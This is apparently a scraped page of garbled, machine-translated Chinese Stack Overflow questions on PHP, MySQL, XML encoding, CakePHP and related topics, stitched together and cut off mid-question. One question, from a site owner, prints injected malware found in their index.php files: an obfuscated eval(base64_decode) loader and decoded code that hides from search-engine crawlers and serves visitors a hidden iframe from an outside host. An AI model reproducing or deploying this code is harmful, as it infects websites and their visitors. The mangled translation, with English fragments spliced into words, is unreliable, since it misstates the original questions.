可能重复: MySQL错误1153 – 获得了大于'max_allowed_packet'字节的数据包 嗨,我得到的错误: [1153] Got a packet bigger than 'max_allowed_packet'bytes 但我没有改变我的源代码和托pipe状态,他们没有做任何改变的服务器设置。 我不知道发生了什么事。 但我试图find原因。 那么,如何通过php脚本检查max_allowed_packet mysqlvariables? 并可以在源代码中设置它?
我收到错误: parser error : Input is not proper UTF-8, indicate encoding ! Bytes: 0xED 0x6E 0x2C 0x20 尝试使用来自第三方源的simplexml_load_string处理XML响应时。 原始的XML响应确实声明了内容types: <?xml version="1.0" encoding="UTF-8"?> 但是,XML似乎并不是真正的UTF-8。 XML内容的语言是西class牙语,在XML中包含像Dublín这样的Dublín 。 我无法让第三方整理他们的XML。 如何预处理XML并修复编码不兼容性? 有没有办法来检测XML文件的正确编码?
我有一个用户在SQL表,他们每个人都有出生date。 我想把他们的出生date转换成他们的年龄(仅年数),例如:date: 15.03.1999年龄:14岁和15.03.2014将会变成年龄: 15岁 在这里我想显示用户的date: if(isset($_GET['id'])) { $id = intval($_GET['id']); $dnn = mysql_fetch_array($dn); $dn = mysql_query('select username, email, skype, avatar, ' . 'date, signup_date, gender from users where id="'.$id.'"'); $dnn = mysql_fetch_array($dn); echo "{$dnn['date']}"; }
我无法启用PHP中的套接字传输“ssl”。 当我运行我的脚本,我得到的错误: 警告:fsockopen()[function.fsockopen]:无法连接到ssl://www.my.site.com:443(无法find套接字传输“ssl” – 你忘了configurationPHP时启用它? ) 我在Windows上运行IIS6,这是我迄今为止所做的工作: 在php.ini中取消注释php_openssl.dll和php_sockets.dll扩展 确保PHP正在加载我修改的ini文件(这是,它肯定是加载其他扩展,所以我相当确信这不是问题) 确保php_openssl.dll和php_sockets.dll在正确的位置 将ssleay32.dll和libeay32.dll复制到主PHP文件夹,WINDOWS文件夹和WINDOWS / system32文件夹 确保Windowspathvariables包含PHP的位置 确保所有相关文件的文件权限是正确的。 几乎每次更改后,我都重新启动了IIS,但是我一直没有运气。 有什么明显的,我做错了吗? 有没有解决这个小部分? (所以我可以通过消除的过程找出问题…?) 不幸的是,Windows / IIS不是我的专业领域 – 我已经负责,因为没有人知道任何东西。
我有两个类: class ClassOne { }和class ClassTwo {} 。 我得到一个可以是“一”或“两”的string。 而不是使用长开关语句,如: switch($str) { case "One": return new ClassOne(); case "Two": return new ClassTwo(); } 无论如何,我可以创build一个实例使用一个string,即new Class("Class" . $str); 谢谢, 乔尔
任何人都可以帮助我使用graphicsAPI向Facebook的朋友发送消息。 我试过了 $response = $facebook->call_api("/me/feed", "post", "to=john","message=You have a Test message"); 这不起作用。 我手上有用户的口令,只是对发送过程感到困惑。
好吧,我一直在试图从MySQL构buildJSON数组。 数组必须是以下格式。 我正在使用fullcalendar,并希望使日历上的事件dynamic。 下面是构build数组的代码,但是目前它并没有从mysql获取信息 $year = date('Y'); $month = date('m'); echo json_encode(array( //Each array below must be pulled from database //1st record array( 'id' => 111, 'title' => "Event1", 'start' => "$year-$month-10", 'url' => "http://yahoo.com/" ), //2nd record array( 'id' => 222, 'title' => "Event2", 'start' => "$year-$month-20", 'end' => "$year-$month-22", 'url' => "http://yahoo.com/" ) […]
我读了AppError类现在是为了向后兼容,应该使用Exceptions来代替。 如何创build自定义错误页面,如404错误,或完全自定义错误?
我的网站(非常大的社区网站)最近感染了病毒。 每个index.php文件都被改变了,所以这些文件的开头php标签被改成了下面这行: <?php eval(base64_decode('ZXJyb+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtMTk5OXB4OyB0b3A6IC0yOTk5cHg7Ij48aWZyYW1lIHNyYz0iaHR0cDovL2x6cXFhcmtsLmNvLmNjL1FRa0ZCd1FHRFFNR0J3WUFFa2NKQlFjRUFBY0RBQU1CQnc9PSIgd2lkdGg9IjIiIGhlaWdodD0iMiI+PC9pZnJhbWU+PC9kaXY+JzsNCn0=')); 当我解码这个,它产生了下面的PHP代码: <?php error_reporting(0); $bot = FALSE ; $user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api'); $stop_ips_masks = array( array("216.239.32.0","216.239.63.255"), array("64.68.80.0" ,"64.68.87.255" ), array("66.102.0.0", "66.102.15.255"), array("64.233.160.0","64.233.191.255"), array("66.249.64.0", "66.249.95.255"), array("72.14.192.0", "72.14.255.255"), array("209.85.128.0","209.85.255.255"), array("198.108.100.192","198.108.100.207"), array("173.194.0.0","173.194.255.255"), array("216.33.229.144","216.33.229.151"), array("216.33.229.160","216.33.229.167"), array("209.185.108.128","209.185.108.255"), array("216.109.75.80","216.109.75.95"), array("64.68.88.0","64.68.95.255"), array("64.68.64.64","64.68.64.127"), array("64.41.221.192","64.41.221.207"), array("74.125.0.0","74.125.255.255"), array("65.52.0.0","65.55.255.255"), array("74.6.0.0","74.6.255.255"), array("67.195.0.0","67.195.255.255"), array("72.30.0.0","72.30.255.255"), array("38.0.0.0","38.255.255.255") ); $my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR'])); foreach ( […]
好的,我的第一个问题被修改了很多次,我select删除它并重新expression我的问题。 我用不同的模型名称做了一个小型的testing用例项目,为我的问题find了一个合适的解决scheme。 警告 :不要将数据库与表格混合在一起 动机 :我将用户数据分成多个数据库,以查找法律和性能问题。 目前,我正在开发一个拥有多个User的CakePHP项目,每个User都有自己的带有多个表的数据库 ( cars是其中的一个表 )。 现在,我需要先解释一下: 每个User有他自己的数据库 (不是一个表,一个数据库 ),所以数据库名称如下。 [DATABASE] app (这是应用程序的主数据库) [TABLE] users [TABLE] permissions ( 与此问题无关 ) [DATABASE] app_user1 ( User.id 1拥有整个数据库 ) [TABLE] cars (一个由User.id 1完全拥有的表 ) [DATABASE] app_user2 ( User.id 2拥有整个数据库 ) [TABLE] cars (一个由User.id 2完全拥有的表 ) 等等… 我做了一个小图,可以澄清数据库 / 表的定义及其与模型的关系: 问题!!! 直到Userlogin,我不知道要连接哪个数据库 。 User和他们的数据库是dynamic创build的,所以我不能使用app/Config/database.php 。 […]